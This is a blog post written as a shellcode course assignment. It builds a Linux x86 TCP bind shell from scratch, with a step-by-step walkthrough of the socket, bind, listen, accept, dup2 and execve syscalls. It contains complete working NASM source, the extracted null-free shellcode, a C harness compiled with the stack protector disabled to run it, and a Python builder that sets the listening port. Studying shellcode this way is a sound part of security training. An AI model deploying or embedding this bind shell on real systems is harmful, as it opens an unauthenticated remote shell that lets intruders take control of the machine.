TCP Bind Shell for Linux x86

15 minute read

Introduction

How many time you used the msfvenom command to craft a bind shell for your scopes? In my case, many times but all i have to do is give to msfvenom the right inputs and voilà, it gives us the shellcode ready to use. This article would inspect the shellcode process to craft a tcp bind shell in depth, written to analyse what are the components needed to build a x86 Linux shellocode. This is also the first assignment from Vivek Ramachandran’s SLAE32 course.
The first part of the assignment request to create a Shell_Bind_TCP shellcode with these properties:

  • Binds to a port
  • Execs Shell on incoming connection

The second part request to create a script to make port number easily configurable.
According with Infosec Institute, bind shell could be compared to the old backdoors placed by programmers to always have a preferential access to systems.

Bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server.

The last video lesson of SLAE course analyzes a tcp bind shell payload created with msfvenom so the creation process is well documented like the shell structure, so the effort for this assignment is to pickup informations about all the syscalls needed for the tcp bind shell using the linux kernel unistd.h header and the man 2 command. We will use also the book Unix Network Programming , foundamental to learn the substructures required in some syscalls. We start reviewing the case study in the course and reading the png created with sctest of libemu tool suite, with that informations we can extract the syscalls needed to build our bind shellcode:

  • socket
  • bind
  • listen
  • accept
  • dup2 (3 times)
  • execve

we could simply copy the assembly code, but this is not the scope of the Viveek’s assignment. What he would to obtain with the assignment is to understand how we should develop a shellcode, starting from learn the linux syscalls, what we need to complete assignment and how we can transform the syscall and its argument in assembly code. So let’s start the fun part.

SOCKET

We can start searching the socket syscall by cat’ting the unistd_32 headers of the linux kernel, then check the socket syscall man page.

man 2 socket
int socket(int domain, int type, int protocol);

Mmm, seems the socket accept 3 arguments, now we can check also the book to learn what’s the role of there arguments.
int domain specifies a communication domain, this means that it specifies the Address Family (AF_xxxx) wich will be used for communication.
int type specifies the communication semantics.
Not all combinations of socket domain and type are valid, we want a TCP bind shell, so according to the book, our choices has to be AF_INET for the domain and SOCKET_STREAM for the type.

According to what we have studied in the course, the informations found with the man 2 command has to be distribuited with the criteria here explained. Syscall number has to go in the EAX register, int domain should be AF_INET that means a value of 2 saved in the EBX register, int type should be SOCK_STREAM, that means a value of 1 saved in the ECX register, last int protocol should be 0 and placed in EDX register.

Now that we have indentified the socket syscall arguments, what have to be they values and in what register they has to be pushed we can proceed writing the assembly code. Note that the socket syscall return an output that is the pointer to the socket itself and will be stored in EAX register, so in order to recover the pointer to the socket for future uses we have to move it in a safer place like the EDI register.

; Filename: bind_shell.nasm
; Author:  SLAE-1476
; twitter: @bolonobolo
; email: bolo@autistici.org / iambolo@protonmail.com

global _start

section .text
_start:

    ; SOCKET
    ; xoring the registers
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    mov cl, 0x01
    mov bl, 0x02
    mov ax, 0x167
    int 0x80

    ; move the return value of socket from EAX to EDI
    mov edi, eax

Well, we can move to the next syscall.

BIND

As for bind we need to find the value of the syscall and consult the man page.
syscall code for bind is 361, in hexadecimal is 0x169. Let see the man 2 bind page

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Very interesting, here we have a data structure called sockaddr, we can read the book to see if it can help us understand how this data structure has to be build.

Many of the BSD networking system calls require a pointer to a socket address structure as an argument. The definition of this structure is in sys/socket.h

Checking the man 2 bind page, we see that sockaddr structure is defined like this

struct sockaddr {
	sa_family_t sa_family;
	char        sa_data[14];
}

The contents of the 14 bytes of protocol-specific address are interpreted according to the type of address. We already choosed the type in the socket syscall. AF_INET was our choice so an Address Family INtErneT defined by sockaddr_in structure. Checking man 7 ip and the book to learn how the sockaddr_in structure has to be build

struct sockaddr_in {
	sa_family_t    sin_family; /* address family: AF_INET */
	in_port_t      sin_port;   /* port in network byte order */
	struct in_addr sin_addr;   /* internet address */
};

/* Internet address. */
struct in_addr {
	uint32_t	sin_addr;   /* address in network byte order */
	char 		sin_zero;	/* unused */	
};

So for our purpouses we have to build a structure like the above and to do that we can use the stack. Now we have to check what we need for bind syscall and where we have to put things
First thing is the syscall hex value (0x169) that has to be saved in EAX, next is the pointer to the socket that is stored in EDI and has to be moved in EBX, then we will push all the values needed for the sockaddr structure in the stack and then save the ESP value in ECX, finally we have to store the length of the IP (16 bytes) in EDX register.
Before proceeding with the assembly we have to take note of 2 things:

  1. Because we are in a little endian environment we have to push the values of sockaddr structure in reverse order, so
    | 0 (unused char) | IP address (0.0.0.0 so 0) | port in network byte order | 0x02 (AF_INET value) |
  2. For the same reason the port value as to be stored with bytes reversed, if the port is 4444 and in hex is 0x115c, it has to be stored like 0x5c11.
    Let’s write the assembly
    ; BIND
    ; move the lenght (16 bytes) of IP in EDX
    mov dl, 0x16

    ; push sockaddr structure in the stack
    xor ecx, ecx
    push ecx                ; unused char (0)
    push ecx                ; ip address 0.0.0.0 
    push word 0x5c11        ; port 4444
    push word 0x02          ; AF_INET family

    ; move the stack pointer to ECX
    mov ecx, esp

    ; move the socket pointer to EBX
    mov ebx, edi

    ; load the bind syscall value in EAX
    mov ax, 0x169

    ; execute
    int 0x80

Well done, move to the next syscall

LISTEN

As usual we need to find the value of the syscall and consult the man page.
The syscall code for listen is 363, in hexadecimal 0x16b, now check the man page
This syscall is less interesting. In order to have all the things working we have to store the syscall hexadecimal value (0x16b) to EAX, next we should move the socket pointer stored in EDI to EBX and last set ECX to 0 as want an immediate connection.
Let’s write the assembly

    ; LISTEN
    mov ebx, edi
    mov ax, 0x16b
    int 0x80

ACCEPT(4)

Next syscall same story, we need to find the value of the syscall and consult the man page.

From the book

the peer and addrlen arguments are used to return the address of the connected peer process (the client).

We don’t need it so peer, addrlen and flags could be set to 0. In synthesis another very simple syscall. EAX contains the syscall hexadecimal value 0x16c, EBX contains the pointer value of the socket stored in EDI, last ECX, EDX and ESI could be set to 0.

From the man 2 accept page

RETURN VALUE
       On success, these system calls return a nonnegative integer 
       that is a descriptor for the accepted socket.  
       On error, -1 is returned, and errno is set appropriately.

We have to pay attention only on the concept that the accept syscall return a value when a connection is accepted, this value is stored in EAX register and is needed for the next syscall, so we have to store the value to another register, for example EDI.
Here’s the assembly code

    ; ACCEPT
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor esi, esi
    mov ax, 0x16c
    mov ebx, edi
    int 0x80

    ; move the return value of accept from EAX to EDI
    xor edi, edi
    mov edi, eax

DUP

We need to find the value of the syscall and consult the man page.

The dup() system call creates a copy of the file descriptor oldfd, using the lowest-numbered unused descriptor for the new descriptor. Another simple syscall, in EAX we store the hexadecimal value of 63, 0x3f, in EBX we store the address of the accepted connection by accept syscalll and saved in EDI register, last in ECX we have to save the value of all possibly file descriptor, in UNIX system they are stdin, stdout and stderr, respectively with value 0, 1 and 2. In this case we have to execute the dup2 syscall 3 times, for stdin, stdout and stderr, using a loop.
Here’s the assembly code

    ; DUP2
    xor ebx, ebx
    xor ecx, ecx
    mov cl, 0x3

dup2:
    xor eax, eax
    mov ebx, edi
    mov al, 0x3f
    dec cl
    int 0x80
    jnz dup2

EXECVE

We need to find the value of the syscall and consult the man page.

This syscall is the most complicated to code so we will inspect it in depth to learn how we can transform the syscall in assembly.

  • EAX register contains the execve syscall hexadecimal value (11 or 0xb)
  • EBX register contains the pointer to the filename that should be executed, in our case /bin//sh, with 2 slashes because we want a sum of characters (in this case 8) divisible by 4, the string /bin//sh as also to be reverted because we are working in little endian environment.
  • ECX contains a pointer to argv that is an array of argument strings passed to the new program, in our case is the address of the filename to execute, the argv[0]
  • EDX contains a pointer to envp that is an array of strings of the form key=value wich are passed as environment to the new program.

Tha man page tell us also the al the 3 arguments are pointer, because we are talking about pointer to strings we need to remeber that all the arguments has to terminate with a NULL char. The argv should contain the address of the filename, but we also have to add a NULL char as terminating char We don’t need envp so EDX could be set to 0. We can use the stack to work with all this information and then save the structure in the relative registers, taking in consideration that we have to work in reverse mode because of the little endian. We will use the stack method to execute the execve syscall.
Moving on to the practical part will clearify all the concepts.

    ; EXECVE
    ; int execve(const char *filename, char *const argv[], char *const envp[]);
    ; |_________|_____________________|___________________|___________________|
    ;     EAX            EBX                   ECX                EDX

    ; put NULL bytes in the stack
    xor eax, eax
    push eax


    ; reverse "/bin//sh"
    ; hs// : 68732f2f
    ; nib/ : 6e69622f
    ; String length : 8
    ; Hex length : 16
    ; 68732f2f6e69622f

    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp

    ; push NULL in the EDX position
    push eax
    mov edx, esp

    ; push the /bin//sh address in the stack and then move it in ECX
    push ebx
    mov ecx, esp

    ; call the execve syscall
    mov al, 0xb
    int 0x80

Now put all the syscalls assembly pieces in one shot and give it a try

; Filename: bind_shell.nasm
; Author:  SLAE-1476
; twitter: @bolonobolo
; email: bolo@autistici.org / iambolo@protonmail.com

global _start

section .text
_start:
	
    ; xoring the registers
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; SOCKET()
    mov cl, 0x01
    mov bl, 0x02
    mov ax, 0x167
    int 0x80

    ; move the return value of socket from EAX to EDI
    mov edi, eax

    ; BIND()
    ; move the lenght (16 bytes) of IP in EDX

    ; push sockaddr structure in the stack
    xor ecx, ecx
    push ecx                ; unused char (0)
    push ecx                ; ip address 0.0.0.0 
    push word 0x5c11        ; port 4444
    push word 0x02          ; AF_INET family

    ; move the stack pointer to ECX
    mov ecx, esp

    ; move the socket pointer to EBX
    mov ebx, edi

    ; load the bind syscall value in EAX
    xor eax, eax
    mov ax, 0x169

    ; execute
    int 0x80

    ; LISTEN()
    mov ebx, edi
    mov ax, 0x16b
    int 0x80

    ; ACCEPT()
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor esi, esi
    mov ebx, edi
    mov ax, 0x16c
    int 0x80

    ; move the return value of accept from EAX to EDI
    xor edi, edi
    mov edi, eax

    ; DUP2()
    xor ebx, ebx
    xor ecx, ecx
    mov cl, 0x3

dup2:
    xor eax, eax
    mov al, 0x3f
    mov ebx, edi
    dec cl
    int 0x80
    jnz dup2

    ; EXECVE()
    ; put NULL bytes in the stack
    xor eax, eax
    push eax

    ; reverse "/bin//sh"
    ; hs// : 68732f2f
    ; nib/ : 6e69622f
    ; String length : 8
    ; Hex length : 16
    ; 68732f2f6e69622f

    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp

    ; push NULL in the EDX position
    push eax
    mov edx, esp

    ; push the /bin//sh address in the stack and then move it in ECX
    push ebx
    mov ecx, esp

    ; call the execve syscall
    mov al, 0x0b
    int 0x80

We compile the nasm file to obtain a binary and we can execute it

nasm -f elf32 -o bind_shell.o bind_shell.nasm
ld -o bind_shell bind_shell.o

Or can build a bash script to do everything in one shot
Now we can try the binary, launching the command ./bind_shell and with another shell launching a netcat session on 127.0.0.1 on port 4444 nc -nc 127.0.0.1 4444

It works like a charm, so now we can extract the hexadecimal value of the shellcode with an esotheric objdump command picked up from CommandLineFu.

objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

and obtain the hex string

root@slae32-lab:# objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb1\x01\xb3\x02\x66\xb8\x67\x01\xcd\x80\x89\xc7\xb2\x16\x31\xc9\x51\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x89\xfb\x31\xc0\x66\xb8\x69\x01\xcd\x80\x89\xfb\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xf6\x89\xfb\x66\xb8\x6c\x01\xcd\x80\x31\xff\x89\xc7\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

We can also see that the script seems NULL bytes free, good work! Now copy the shellcode in a C program that execute it and give us the length too

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb1\x01\xb3\x02\x66\xb8\x67\x01\xcd\x80\x89\xc7\xb2\x16\x31\xc9\x51\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x89\xfb\x31\xc0\x66\xb8\x69\x01\xcd\x80\x89\xfb\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xf6\x89\xfb\x66\xb8\x6c\x01\xcd\x80\x31\xff\x89\xc7\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

void main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

Compile it with gcc and run it, remember to disable the stack-protector and add the execstack option

gcc -fno-stack-protector -z execstack shellcode.c -o bind_shell

And let’s see if it works.


Good job, now it’s time to add the power to select the port when the bind shell will run. We can write a python shellcode builder that accept the port number as an argument.

#!/usr/bin/python
import sys, socket

def usage():
        print("Usage: bind_shell_builder.py <port>")
        print("port must be between 1 and 65535 except range from 3330 to 3339")

def port_wrapper(port):
        port = hex(socket.htons(int(port)))
        if len(str(port[4:6])) < 2:
                port = "\\x" + port[4:6] +"0" + "\\x" + port[2:4]
        elif len(str(port[2:4])) < 2:
                port = "\\x" + port[4:6] + "\\x" + port[2:4] + "0"
        else:
                port = "\\x" + port[4:6] + "\\x" + port[2:4]
        return port

def main():
        green = lambda text: '\033[0;32m' + text + '\033[0m'
        port = int(sys.argv[1])

        if len(sys.argv) != 2:
                print("[-] You have to assign a port number!")
                usage()
                exit(0)

        if port < 1 or port > 65535:
                print("[-] This is not a valid port number!")
                usage()
                exit(0)

        ## check tech notes below for this      
        if port >= 3330 and port <= 3339:
                print("[-] This port produces badchars!")
                usage()
                exit(0)

        if port <= 1024:
                print(green("[+] This port requires root privileges"))


        port = port_wrapper(sys.argv[1])

        shellcode_first = ""
        shellcode_first += "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb1\\x01\\xb3\\x02\\x66"
        shellcode_first += "\\xb8\\x67\\x01\\xcd\\x80\\x89\\xc7\\xb2\\x16\\x31\\xc9\\x51\\x51\\x66\\x68"
        shellcode_second = ""
        shellcode_second += "\\x66\\x6a\\x02\\x89\\xe1\\x89\\xfb\\x31\\xc0\\x66\\xb8\\x69\\x01"
        shellcode_second += "\\xcd\\x80\\x89\\xfb\\x66\\xb8\\x6b\\x01\\xcd\\x80\\x31\\xc0\\x31\\xdb\\x31"
        shellcode_second += "\\xc9\\x31\\xf6\\x89\\xfb\\x66\\xb8\\x6c\\x01\\xcd\\x80\\x31\\xff\\x89\\xc7"
        shellcode_second += "\\x31\\xdb\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd"
        shellcode_second += "\\x80\\x75\\xf4\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69"
        shellcode_second += "\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80";

        print green("Port " + sys.argv[1] + " converted")
        print green("[*]" + port + "\n")
        print '"' + shellcode_first + green(port) + shellcode_second + '"'

if __name__ == '__main__':
        main()

It prints in green the hexdecimal big endian string of the port number and inject it in our shellcode.



Aaaaaand we finished :)

TECH NOTES

The NULL byte is not the only one bad character that shouldn’t be inserted in our shellcode. Accordingly with Infosec Institute the general list of badchars are:

  • 00 for NULL
  • 0A for Line Feed \n
  • 0D for Carriage Return \r
  • FF for Form Feed \f

So for example if we choose port 3333 in our bind_shell_builder.py script we obtain a x0d char inside our shellcode and it doesn’t work properly.

We will have this problem for all port numbers from 3330 to 3339 so we can add an if statement in our python shell builder script to substitute the port number with some sort of polymorphism to solve the problem, for example in this case, in the BIND syscall, we can save value of 1111 (in hex \x04\x57) in a register, save the register address in the stack and then multiply by 3 his value to obtain the original 3333 port number, all before the int 0x80 call.
All the codes used in this post are available in my dedicated github repo.

This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification: SLAE32 Course
Student ID: SLAE-1476